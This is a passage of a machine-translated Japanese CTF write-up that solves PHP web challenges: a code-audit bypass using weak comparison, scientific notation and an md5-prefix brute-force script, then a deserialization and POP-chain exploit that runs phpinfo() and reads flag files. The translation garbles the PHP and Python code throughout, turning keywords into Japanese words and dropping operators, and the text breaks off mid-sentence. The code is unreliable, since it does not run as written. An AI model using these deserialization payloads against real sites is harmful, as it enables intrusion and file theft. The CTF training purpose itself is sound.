Jump to content

web

1. [強いネットパイオニア]トレジャーハント

競争の質問を配布すると、アクセスリンクは次のとおりです。

1049983-20211223173925616-142118672.jpg

この質問では、情報1と情報2を介して2つのキー値を取得し、key1とkey2を入力してから復号化する必要があります。

Key1のコード監査

「情報1」をクリックして、コード監査であることがわかります。

1049983-20211223173926650-284071638.jpg

完全なソースコードは次のとおりです。

?php

ヘッダー( 'Content-Type:Text/html; charset=utf-8');

error_reporting(0);

highlight_file(__ file__);

関数フィルター($ string){

$ filter_word( 'php'、 'flag'、 'index'、 'key1lhv'、 'source'、 'key'、 'eval'、 'echo'、 '\ $'、 '\('、 '\。'、 'num'、 'html'、 '\/'、 '\、' \、 '\' '' '' '' ' ^

$ filter_phrase='/'.implode('|'、$filter_word).'/';

preg_replace($ filter_phrase、 ''、$ string)を返します。

}

if($ ppp){

Unset($ PPP);

}

$ ppp ['number1']='1';

$ ppp ['number2']='1';

$ ppp ['nunber3']='1';

$ ppp ['number4']='1';

$ ppp ['number5']='1';

抽出($ _ post);

$ num1=filter($ ppp ['number1']);

$ num2=filter($ ppp ['number2']);

$ num3=filter($ ppp ['number3']);

$ num4=filter($ ppp ['number4']);

$ num5=filter($ ppp ['number5']);

if(isset($ num1)is_numeric($ num1)){

die( '非番号');

}

それ以外{

if($ num11024){

エコー「1階」;

if(Isset($ num2)strlen($ num2)=4 intval($ num2 + 1)500000){

エコー「セカンドレベル」;

if(isset($ num3) '4bf21cd'===substr(md5($ num3)、0,7)){

エコー「3階」;

if(!($ num4 0)($ num4==0)($ num4=0)(strlen($ num4)6)(strlen($ num4)8)isset($ num4)){

エコー「4階」;

if(!isset($ num5)||(strlen($ num5)==0))die( 'no');

$ b=json_decode(@$ num5);

if($ y=$ b===null){

if($ y===true){

エコー「5階」;

「key1lhv.php」を含めます。

echo $ key1;

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no');

}

}それ以外{

die( 'no111');

}

}

非デジタル

バイパスを必要とするコアコードは次のとおりです。

最初のレイヤー:非純度番号が必要で、1024を超えており、PHPの弱い比較を使用して$ num1=11111aを作成します。

2番目のレイヤー:intval関数(intval()関数を使用して変数の整数値を取得する)をバイパスし、科学的および技術的方法を使用して5未満の長さの制限をバイパスするため、$ num2=9e9とします。

3番目のレイヤー:substr(md5)は、値を特定の値として取得し、md5衝突を実行するスクリプトを書き込み、num3が61823470であると計算し、スクリプトは次のとおりです。

Hashlibをインポートします

def md5_encode(num3):

Hashlib.md5を返す(num3.encode())。hexdigest()[0:7]

範囲のI(60000000,70000000):

num3=md5_encode(str(i))

#print(num3)

num3=='4bf21cd':の場合

印刷(i)

壊す

操作結果は次のとおりです。

1049983-20211223173927160-736402045.jpg

レイヤー4:科学表記バイパス、長さは7、0、num4は0E00000です。

1049983-20211223173927543-1345414535.jpg

レイヤー5:json_decode()関数はJSONエンコード文字列を受け入れ、PHP変数に変換します。 JSONを(非JSON形式で)デコードできない場合、nullを返しますので、num5は1aに等しくなります(任意の文字列で十分です)。

したがって、最終的なペイロード:

PPP [number1]=11111Appp [number2]=9e9ppp [number3]=61823470ppp [number4]=0e00000ppp [number5]=1a

投稿の投稿はkey1を取得します:

key1 {e1e1d3d40573127e9ee0480caf1283d6}}

Key2のスクリプト検索

1.プロンプトメッセージはダウンロードリンクを提供します。

1049983-20211223173927932-601584177.jpg

2。減圧後、Docxファイルの束があります。

1049983-20211223173928426-1779376784.jpg

3.誰かを開くと、それがキャラクターの束であることがわかります。

1049983-20211223173928865-286054451.jpg

4。KEYS KEY2はファイルの1つにあり、実行するスクリプトを書きます。

OSをインポートします

docxをインポートします

範囲(1,20):のIの場合

範囲(1,20):のJの場合

path='./5. {0 }/vr_ {1}'.format(i、j)

files=os.listdir(path)

#print(filepath)

ファイルのファイル:の場合

try:

filename=path+'/'+ファイル

#print(filename)

file=docx.document(filename)

file.paragraphs:のコンテンツの場合

#print(content.text)

content.text:のkey2 {'の場合

print(content.text)

印刷(ファイル名)

壊す

:を除く

合格

操作結果は次のとおりです。

1049983-20211223173929269-581091221.jpg

key2を取得:

key2 {t5fo0od618l91slg6l1l42l3a3ao1nblfss}

元のページでフラグを取得するために送信してください:

1049983-20211223173929623-1155291069.jpg

2. [強いネットパイオニア]ギャンブラー

競争の質問に問題、アクセスアドレスは次のとおりです。1049983-20211223173929968-140881516.jpg

質問のソースコードリマインダーと組み合わせて、Dirsearchを使用してディレクトリをスキャンし、www.zip:1049983-20211223173930415-1982720835.jpg3を見つけました。分解して質問のソースコードを取得します。MetaCharset='utf-8'?php //hintはhint.pherror_reporting(1)にあります。

class start {public $ name='guest'; public $ flag='syst3m(' cat 127.0.0.1/etc/hint ');'; public function __construct(){echo 'あなたが必要だと思います /etc /hint。この前に、ソースコードを表示する必要があります。 }

public function _sayhello(){echo $ this-name; 「OK」を返します。 }

public function __wakeup(){echo 'hi'; $ this-_sayhello(); } public function __get($ cc){echo 'give you flag :'。$ this-flag;戻る ; }}

クラス情報{private $ phoneNumber=123123; public $ promise='I do'; public function __construct(){$ this-promise='私はしません!'; $ return this-promise; }

public function __toString(){return $ this-file ['filename'] -ffiillee ['ffiilleennaammee']; }}

クラスルーム{public $ filename='/flag'; public $ sth_to_set; public $ a='';パブリック関数__get($ name){$ function=$ this-a; $ $ function(); } public function get_hint($ file){$ hint=base64_encode(file_get_contents($ file)); echo $ hint;戻る ; }

public function __invoke(){$ content=$ this-get_hint($ this-filename); echo $ content; }}

if(isset($ _ get ['hello'])){unserialize($ _ get ['hello']);} else {$ hi=new start();}?これを見て、それはPHPの敏aserializationの質問だと思いますが、私が以前に学んだ関連する質問は、破壊者の利用ポイントにのみ関与しています。この質問は混乱していたので、私はすぐにCTFでのPHP降下のルーチンを補いました。 PHPマジックメソッドPHPのマジックメソッドの定義は、2つのアンダースコア__から始まるメソッドを呼び出すことです。一般的なものは次のとおりです。__construct:オブジェクトを作成するときにオブジェクトを初期化します。これは、一般に変数に初期値を割り当てるために使用されます。 __Destruct:はコンストラクターとは反対で、オブジェクトが配置されている関数が呼び出された後に実行されます。 __toString:オブジェクトが文字列として使用されるときに呼び出されます。 __sleep:オブジェクトをシリアル化する前にこのメソッドを呼び出します(アレイが必要な配列を返します) __GET:は、アクセス不可能なプロパティからのデータの読み取り__ISSET(): ISSET()またはempty()でempty()を呼び出していないプロパティをトリガーします__unset():トリガー__ __ invoke():の操作をご紹介してください。 https://www.php.net/manual/zh/language.oop5.magic.phpシンプルな例?phpclass a {var $ test='demo'; function __wakeup(){eval($ this-test); }} $ a=$ _get ['test']; $ a_unser=unserialize($ a);分析:ここには1つのクラスAのみ、1つの__wakeup()メソッドのみがあります。次に、次のExpを構築してphpinfo()関数を実行します。phpclass a {var $ test='demo'; function __wakeup(){echo $ this-test; }} $ a=$ _get ['test']; $ a_unser=unserialize($ a);

$ b=new a(); $ b-test='phpinfo();'; $ c=serialize($ b); echo $ c;output:o:1:'A':1: {s3:4:'test '; S:103360'PHPINFO()ペイロード、実行効果は次のとおりです。1049983-20211223173931003-408094937.jpg

ポップチェーンの高度な質問をさらに見てください:php //flagはflag.phperror_reporting(1); class read {public $ var; public function file_get($ value){$ text=base64_encode(file_get_contents($ value)); $ textを返します。 } public function __invoke(){$ content=$ this-file_get($ this-var); echo $ content; }}

クラスショー{public $ source; public $ str; public function __construct($ file='index.php'){$ this-source=$ file; echo $ this-source.'welcome '。' br '; } public function __toString(){return $ this-str ['str'] - source; }

public function _show(){if(preg_match( '/gopher | http | ftp | https | dict | \。\。| file/i'、$ this-source)){die( 'hacker'); } else {highlight_file($ this-source); }}

public function __wakeup(){if(preg_match( '/gopher | http | file | ftp | https | dict | \。/i'、$ this-source)){echo 'hacker'; $ this-source='index.php'; }}}

クラステスト{public $ p; public function __construct(){$ this-p=array(); }

パブリック関数__get($ key){$ function=$ this-p; $ $ function(); }}

if(isset($ _ get ['hello'])){unserialize($ _ get ['hello']);} else {$ show=new show( 'pop3.php'); $ show-_show();} [タイトル分析]この質問では、脱介入を構築することによりflag.phpファイルを読むことが目的であることがわかります。読み取りクラスにはfile_get_contents()関数があり、ショークラスにはhighlight_file()関数があり、ファイルを読み取ります。次に、ターゲットポイントを探しているときに、最後の数行に非正規化関数が存在することがわかります。この関数の実行により、__WakeUp Magicメソッドもトリガーされ、__WakeUp Magicメソッドはショークラスで見ることができます。 1。__wakeupメソッド:public function __wakeup(){if(preg_match( '/gopher | http | file | ftp | https | dict | \。\ ./i'、$ this-source)){echo 'hacker'; $ this-source='index.php'; }}通常の一致する関数preg_match()があります。関数の2番目のパラメーターは文字列である必要があります。ここで、ソースは一致する文字列として使用されます。この時点で、このソースが特定のクラスのオブジェクトである場合、このクラスの__toStringメソッドがトリガーされます。全体を通してコードを読んだ後、__toString Magicメソッドもショークラスにあることがわかります。それから

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...